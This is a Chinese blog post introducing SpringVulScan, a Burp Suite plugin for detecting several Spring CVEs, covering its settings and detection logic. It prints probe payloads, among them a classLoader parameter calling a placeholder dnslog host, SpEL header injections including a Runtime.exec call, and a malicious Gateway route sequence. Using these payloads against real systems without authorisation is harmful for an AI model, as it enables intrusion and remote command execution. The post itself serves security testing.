草庐IT

SpringVulScan--burpsuite插件

执笔画落梅 2023-09-30 原文

写在前边

项目地址:GitHub - tpt11fb/SpringVulScan: burpsuite 的Spring漏洞扫描插件。SpringVulScan:支持检测:路由泄露|CVE-2022-22965|CVE-2022-22963|CVE-2022-22947|CVE-2016-4977

这是我开发的第一款burpsuite插件,本着的目标是为了更好更方便的去检测一些可能存在Spring漏洞的地方。第一次开发它也是遇到了许许多多的问题和困难,从收集互联网关于burpsuite插件开发资料(API,说明文档),到现在基本功能已经能够实现,前后经历了半个月左右的时间(中间也是掺杂了一些其他的琐事)。不过好在现在已将完成了它!!想着自己有时间搞一个burpsuite插件开发的思路(API的使用),内容文档我也会放到GitHub上,以后有时间继续维护它!!下边对其功能和使用方法进行介绍。

功能介绍

界面

长相也就一般般,GUI也是搞了一阵子。

功能点

介绍

基础设置

无话可说

检测方式

回显和回连,无话可说。一般情况下基本上全开就行了。

扫描类型

同一站点仅检测一次:

默认开启,开启后,同一个站点只进行一次检测,不会因为url的变化而再次检测。

过滤检测Spring框架:

默认关闭,开启后,自动根据Spring的特性,"whitelabel error page",进行过滤性检测。而不会对其他流量进行再一次扫描。

编号检测

可指定漏洞类型进行检测。

回连平台

目前仅仅支持burpcollaborator,DnsLog.cn。其他平台功能暂未完善。若目标没做流量限制,建议使用burpcollaborator,扫描速度快且结果准确。

文件目录

conifg
------apiRoute.txt		泄露路由检测,可自定义。
------config.yml			CVE漏洞检测payload,部分payload不建议自定义。
SpringVulScan-1.0.jar

检测效果

这个面板不是很方便,然后就添加到了仪表盘。所以直接在仪表盘查看是否存在漏洞即可。

 

CVE-2022-22965这种可直接进行利用的,而且便于检测,所以直接报出高危红色即可,像api泄露这种检测起来不是很容易的就在Low和Medium面板。当然Medium面板的概率大于Low面板,相较于更准确些。

漏洞检测原理

API未授权,泄露

不多介绍,原理:目录爆破。

Spring Cloud Framework 远程代码执行漏洞(CVE-2022-22965)

payload

class.module.classLoader.resources.context.configFile=http://xxx.dnslog.cn&class.module.classLoader.resources.context.configFile.content.ad=ad

dnslog回显检测。

payload,get方式请求也可post方式请求。

get方式请求位置:http://xxx.xxx.com/payload

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

header中添加payload+dnslog回显检测

1、spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("%s")

2、spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("%s")

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

3次请求:添加恶意路由,刷新路由,删除路由

POST /actuator/gateway/routes/1_Rytest
POST /actuator/gateway/refresh
DELETE /actuator/gateway/routes/1_Rytest

dnslog回显检测

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

爆破认证密码+payload

payload

/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

总结

基本的注意点和用法就这么些,初次开发第一个工具,肯定存在一些未知的问题,还请直接提交issue。

下一步计划

最近临近护网,就先不搞这个了。等有时间准备添加主动扫描,实现功能

1、自定义位置进行检测。例如:http://xx.com/自定义/payload。

2、添加自动从目标中的js中查找api进行检测。

参考

burp

打造高度自定义的渗透工具-Burp插件开发(一) - 先知社区

以及一些其他的开源插件

有关SpringVulScan--burpsuite插件的更多相关文章

  1. ruby - 如何每月在 Heroku 运行一次 Scheduler 插件? - 2

    在选择我想要运行操作的频率时,唯一的选项是“每天”、“每小时”和“每10分钟”。谢谢!我想为我的Rails3.1应用程序运行调度程序。 最佳答案 这不是一个优雅的解决方案,但您可以安排它每天运行,并在实际开始工作之前检查日期是否为当月的第一天。 关于ruby-如何每月在Heroku运行一次Scheduler插件?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/8692687/

  2. ruby-on-rails - 无法使用 Rails 3.2 创建插件? - 2

    我对最新版本的Rails有疑问。我创建了一个新应用程序(railsnewMyProject),但我没有脚本/生成,只有脚本/rails,当我输入ruby./script/railsgeneratepluginmy_plugin"Couldnotfindgeneratorplugin.".你知道如何生成插件模板吗?没有这个命令可以创建插件吗?PS:我正在使用Rails3.2.1和ruby​​1.8.7[universal-darwin11.0] 最佳答案 随着Rails3.2.0的发布,插件生成器已经被移除。查看变更日志here.现在

  3. ruby-on-rails - 您希望看到哪些 Rails 插件? - 2

    您认为可以作为插件很好地存在于您的Rails应用程序中必须实现的哪些行为?您过去曾搜索过哪些插件功能但找不到?哪些现有的Rails插件可以改进或扩展,如何改进或扩展? 最佳答案 我希望在管理界面中看到一个引擎插件,它提供了应用程序中所有模型的仪表板摘要,以及可配置的事件图表。 关于ruby-on-rails-您希望看到哪些Rails插件?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questio

  4. ruby - vagrant 从 github 安装插件 - 2

    我们正在使用Vagrant进行部署,我们最终希望将此集群部署在Rackspace上。vagrant-rackspace插件是一个自然的选择,但它有一些错误,这些错误未包含在最新的0.1.1版本中(notablythatvagrantprovisiondoesn'twork)。我已经在我的personalfork中解决了这个问题通过合并其他人的工作来对存储库进行改造。是否可以从github安装vagrant插件?显而易见的事情没有奏效:[unix]$vagrantplugininstallvagrant-rackspace--plugin-sourcehttps://github.com

  5. IDEA使用LeetCode插件 - 2

    前言我们习惯用idea编写、调试代码,在LeetCode上刷题时,如果能够在IDEA编写代码,并且做好代码管理,是一件事半功倍的事情。对于后续复习题目,做笔记也会非常便利。本文目的在于介绍LeetCodeEditor的使用,以及配置工具类,最终目录结构如下:note:放置笔记src:放置代码leetcode.editor.cn:插件LeetCodeEditor自动生成utils:自定义的工具包,可用于自动化输入测试用例,定义题目需要的类(结构体)out:运行测试时自动生成LeetCodeEditorGitHub:https://github.com/shuzijun/leetcode-edit

  6. regex - Ruby 是否有类似于 Perl 6 语法的插件? - 2

    多年来,Perl一直是我首选的编程语言工具之一。Perl6语法看起来像是一个很棒的语言特性。我想知道是否有人开始为Ruby做这样的事情。 最佳答案 如果您想在Ruby中使用实际的Perl6语法,最好的选择是Cardinal,Parrot上的ruby​​编译器。它目前尚未完成并且非常缓慢,但我非常希望它最终成为一个可行的ruby​​实现。它目前大部分处于非事件状态,等待Parrot中的一些基础架构更改以支持改进的解析速度和其他功能。 关于regex-Ruby是否有类似于Perl6语法的插件

  7. ruby-on-rails - 你为 Rails 推荐哪个状态机插件? - 2

    关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。要求我们推荐或查找工具、库或最喜欢的场外资源的问题对于StackOverflow来说是偏离主题的,因为它们往往会吸引自以为是的答案和垃圾邮件。相反,describetheproblem以及迄今为止为解决该问题所做的工作。关闭9年前。Improvethisquestion我正在为Rails3/ActiveRecord项目寻找一个相对简单的状态机插件。我做了一些研究并提出了以下插件:转换:https://github.com/qoobaa/transitions从旧的ActiveRecord状态机库中提取

  8. ruby-on-rails - 使用模块扩展带有 "has_many"的插件中的模型 - 2

    我在引擎样式插件中有一些代码,其中包含一些模型。在我的应用程序中,我想扩展其中一个模型。通过在初始值设定项中包含一个模块,我已经设法将实例和类方法添加到相关模型中。但是我似乎无法添加关联、回调等。我收到“找不到方法”错误。/libs/qwerty/core.rbmoduleQwertymoduleCoremoduleExtensionsmoduleUser#InstanceMethodsGoHere#ClassMethodsmoduleClassMethodshas_many:hits,:uniq=>true#nomethodfoundbefore_validation_on_crea

  9. ruby - 用于 CSS3 跨浏览器兼容性的 SASS 插件? - 2

    是否有一个SASS扩展可以采用SASS样式表,找到中性属性(例如border-radius)并为其输出所有特定于供应商的属性(例如-webkit-border-radius等)自动?我真的不想手动创建所有混入,也不想手动编写代码。我确定一定有这样的扩展名,但我找不到它。帮忙? 最佳答案 有一个非常好的gem可以满足您的需求。它叫做Bourbon它不会用特定于供应商的css替换您的css,因为它可以像SASS一样工作。它基本上是一个正确生成跨浏览器css的mixin集合。 关于ruby-用

  10. ruby - vim 使用 AutoComplPop 插件崩溃 - 2

    我使用vim编辑ruby​​文件,但是当我输入“.”时它崩溃了。我发现它是由AutoComplPop插件引起的。我该怎么办? 最佳答案 我找到了一种使用autocomplpop和filetype=ruby来防止vim崩溃的方法。将以下行放入您的.vimrcletg:acp_behaviorRubyOmniMethodLength=-1这将防止在您键入“.”时触发autocomplpop。(期间)这不是解决办法。(我不是vim插件程序员)祝你好运! 关于ruby-vim使用AutoComp

随机推荐